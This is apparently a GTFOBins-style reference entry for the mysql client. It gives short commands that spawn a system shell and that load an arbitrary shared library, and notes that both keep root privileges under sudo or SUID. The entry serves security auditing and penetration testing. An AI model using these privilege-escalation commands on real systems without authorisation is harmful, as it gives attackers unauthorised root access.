mysql
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
mysql -e '\! /bin/sh'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.mysql -e '\! /bin/sh'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.mysql -e '\! /bin/sh'
Library load
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
- This function can be performed by any unprivileged user.
mysql --default-auth ../../../../../path/to/libThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.mysql --default-auth ../../../../../path/to/libThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.mysql --default-auth ../../../../../path/to/lib